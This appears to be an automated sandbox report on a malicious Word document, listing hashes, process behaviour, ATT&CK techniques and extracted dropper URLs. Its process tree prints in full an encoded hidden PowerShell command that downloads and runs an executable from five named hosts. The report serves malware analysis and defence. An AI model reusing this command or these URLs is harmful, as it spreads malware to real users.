6fd7c22e15c0bd2bd06eb1649bdc81dd45d0e95ced5b271ad4593aab5c5c125f

General

Target

6fd7c22e15c0bd2bd06eb1649bdc81dd45d0e95ced5b271ad4593aab5c5c125f.doc
Size

184KB
MD5

6dab54adf8a12dec748ad9f3b722e7c5
SHA1

ce34c858f627bc4023c4d21866cd4a032cbfea8b
SHA256

6fd7c22e15c0bd2bd06eb1649bdc81dd45d0e95ced5b271ad4593aab5c5c125f
SHA512

daf174e42d3ee986fb1a974a937860fcd3c7685cfae7907e074ff7d1492c5401da20bbcda7d4aa36f41d8a46b9583eec77f958948254b103bc29604616f3ad2d
SSDEEP

3072:/e2y/GdyrktGDWLS0HZWD5w8K7Nk9aD7IBUMoUH9CBjBoax5waA1NWBM0zr:/e2k4TtGiL3HJk9aD7bMoUH9CBjBoax1

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://gobabynames.com/dz6r/xytx7/

exe.dropper

http://nhomkinhthienbinh.com/cgi-bin/yW/

exe.dropper

http://capitalcitycarwash.com/komldk65kd/7tz/

exe.dropper

http://compscischool.com/wp-content/8a1n/

exe.dropper

http://gianphoisonghong.com/wp-includes/AUWxwq1V2s/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	816	2652	Powershell.exe	83

Blocklisted process makes network request 3 IoCs

Processes:

Powershell.exe

flow	pid	Process
27	816	Powershell.exe
29	816	Powershell.exe
31	816	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

Powershell.exe

pid	Process
816	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid	Process
3532	WINWORD.EXE
3532	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

Powershell.exe

pid	Process
816	Powershell.exe
816	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description	pid	Process
Token: SeDebugPrivilege	816	Powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid	Process
3532	WINWORD.EXE
3532	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid	Process
3532	WINWORD.EXE
3532	WINWORD.EXE
3532	WINWORD.EXE
3532	WINWORD.EXE
3532	WINWORD.EXE
3532	WINWORD.EXE
3532	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	Process	procid_target
PID 3532 wrote to memory of 1676	3532	WINWORD.EXE	86
PID 3532 wrote to memory of 1676	3532	WINWORD.EXE	86

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6fd7c22e15c0bd2bd06eb1649bdc81dd45d0e95ced5b271ad4593aab5c5c125f.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3532
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1676

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABIAG0AaAB5AHoAdABvAHkAaABzAGUAPQAnAFoAeABsAG4AcgBoAHAAdQBwAGIAZQBmACcAOwAkAEEAbABxAGEAYwByAGMAagAgAD0AIAAnADIAMQAwACcAOwAkAEUAaAB5AHEAdwBxAGQAZwBhAHIAPQAnAE0AagBqAHkAeQBtAHMAcQBkAHEAJwA7ACQAQQBhAG4AaABrAHMAaQBwAHMAYwBhAGgAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBsAHEAYQBjAHIAYwBqACsAJwAuAGUAeABlACcAOwAkAEMAYgB3AHMAawBjAHQAdQBkAGMAPQAnAFQAbgBxAGQAdwBxAGwAdwAnADsAJABKAGkAYgBtAGEAcQB3AHUAbQB0AGcAcwBuAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMAbABpAGUAbgB0ADsAJABFAHEAegBhAGYAaABzAGYAYgBhAGsAPQAnAGgAdAB0AHAAOgAvAC8AZwBvAGIAYQBiAHkAbgBhAG0AZQBzAC4AYwBvAG0ALwBkAHoANgByAC8AeAB5AHQAeAA3AC8AKgBoAHQAdABwADoALwAvAG4AaABvAG0AawBpAG4AaAB0AGgAaQBlAG4AYgBpAG4AaAAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHkAVwAvACoAaAB0AHQAcAA6AC8ALwBjAGEAcABpAHQAYQBsAGMAaQB0AHkAYwBhAHIAdwBhAHMAaAAuAGMAbwBtAC8AawBvAG0AbABkAGsANgA1AGsAZAAvADcAdAB6AC8AKgBoAHQAdABwADoALwAvAGMAbwBtAHAAcwBjAGkAcwBjAGgAbwBvAGwALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwA4AGEAMQBuAC8AKgBoAHQAdABwADoALwAvAGcAaQBhAG4AcABoAG8AaQBzAG8AbgBnAGgAbwBuAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEEAVQBXAHgAdwBxADEAVgAyAHMALwAnAC4AIgBTAHAAYABsAEkAdAAiACgAJwAqACcAKQA7ACQARABrAGYAZABnAHMAbgB6AGkAbwBjAG4AbwA9ACcATAB3AHgAeAB5AGcAagBxAGoAZQBsAHYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAagBqAHAAYwBnAHMAaQBmAHEAZgBtACAAaQBuACAAJABFAHEAegBhAGYAaABzAGYAYgBhAGsAKQB7AHQAcgB5AHsAJABKAGkAYgBtAGEAcQB3AHUAbQB0AGcAcwBuAC4AIgBkAGAAbwBgAFcAbgBMAG8AYABBAGQAZgBJAEwAZQAiACgAJABDAGoAagBwAGMAZwBzAGkAZgBxAGYAbQAsACAAJABBAGEAbgBoAGsAcwBpAHAAcwBjAGEAaAByACkAOwAkAE0AZQBpAG0AZgB5AG0AbQBnAHcAYQBnAD0AJwBGAHgAZwB6AHYAagBrAHUAbgB5AHoAcQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEEAYQBuAGgAawBzAGkAcABzAGMAYQBoAHIAKQAuACIATABFAE4AYABnAGAAVABIACIAIAAtAGcAZQAgADMANQAxADYAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAHIAVAAiACgAJABBAGEAbgBoAGsAcwBpAHAAcwBjAGEAaAByACkAOwAkAFkAdgB3AHkAZQB2AGoAdQBiAGoAdwBoAHkAPQAnAFcAcgBjAG8AawBtAHkAbAAnADsAYgByAGUAYQBrADsAJABKAHMAcQBrAG0AbwBmAHIAcQA9ACcARABpAHkAegB3AGQAZQBwACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAZQBtAGIAaABvAGYAagA9ACcASgB4AHMAdgBjAHMAagBwACcA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\7CBAA06C.wmf

Filesize
444B

MD5
3207265ebf7e391a194e98989262170a

SHA1
71d57398e782b37818e455e8014df9b062def32c

SHA256
e0c7a59107272704778dbf837b13efcf92f68e0de4948d6d3c6adcba0c4ea1a6

SHA512
2ea5ddbcfba84ab46fc811279be9f7c33d8045b0d1462ce7c934a61cae9b6f0c840a900d864f9e2eb1618e4f56b9690840fd0b30a9839b6a7c04d44f51f9edbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD3B9.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m0ghfuae.l5u.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/816-67-0x00000253794D0000-0x00000253794F2000-memory.dmp

Filesize
136KB

Download
memory/3532-13-0x00007FFEE78F0000-0x00007FFEE7AE5000-memory.dmp

Filesize
2.0MB

Download
memory/3532-16-0x00007FFEE78F0000-0x00007FFEE7AE5000-memory.dmp

Filesize
2.0MB

Download
memory/3532-6-0x00007FFEE78F0000-0x00007FFEE7AE5000-memory.dmp

Filesize
2.0MB

Download
memory/3532-5-0x00007FFEE78F0000-0x00007FFEE7AE5000-memory.dmp

Filesize
2.0MB

Download
memory/3532-4-0x00007FFEA7970000-0x00007FFEA7980000-memory.dmp

Filesize
64KB

Download
memory/3532-11-0x00007FFEE78F0000-0x00007FFEE7AE5000-memory.dmp

Filesize
2.0MB

Download
memory/3532-10-0x00007FFEE78F0000-0x00007FFEE7AE5000-memory.dmp

Filesize
2.0MB

Download
memory/3532-12-0x00007FFEA5820000-0x00007FFEA5830000-memory.dmp

Filesize
64KB

Download
memory/3532-14-0x00007FFEA5820000-0x00007FFEA5830000-memory.dmp

Filesize
64KB

Download
memory/3532-2-0x00007FFEA7970000-0x00007FFEA7980000-memory.dmp

Filesize
64KB

Download
memory/3532-15-0x00007FFEE78F0000-0x00007FFEE7AE5000-memory.dmp

Filesize
2.0MB

Download
memory/3532-7-0x00007FFEA7970000-0x00007FFEA7980000-memory.dmp

Filesize
64KB

Download
memory/3532-18-0x00007FFEE78F0000-0x00007FFEE7AE5000-memory.dmp

Filesize
2.0MB

Download
memory/3532-19-0x00007FFEE78F0000-0x00007FFEE7AE5000-memory.dmp

Filesize
2.0MB

Download
memory/3532-21-0x00007FFEE78F0000-0x00007FFEE7AE5000-memory.dmp

Filesize
2.0MB

Download
memory/3532-20-0x00007FFEE78F0000-0x00007FFEE7AE5000-memory.dmp

Filesize
2.0MB

Download
memory/3532-22-0x00007FFEE78F0000-0x00007FFEE7AE5000-memory.dmp

Filesize
2.0MB

Download
memory/3532-17-0x00007FFEE78F0000-0x00007FFEE7AE5000-memory.dmp

Filesize
2.0MB

Download
memory/3532-8-0x00007FFEE78F0000-0x00007FFEE7AE5000-memory.dmp

Filesize
2.0MB

Download
memory/3532-9-0x00007FFEE78F0000-0x00007FFEE7AE5000-memory.dmp

Filesize
2.0MB

Download
memory/3532-1-0x00007FFEA7970000-0x00007FFEA7980000-memory.dmp

Filesize
64KB

Download
memory/3532-3-0x00007FFEE798D000-0x00007FFEE798E000-memory.dmp

Filesize
4KB

Download
memory/3532-83-0x00007FFEE78F0000-0x00007FFEE7AE5000-memory.dmp

Filesize
2.0MB

Download
memory/3532-0-0x00007FFEA7970000-0x00007FFEA7980000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads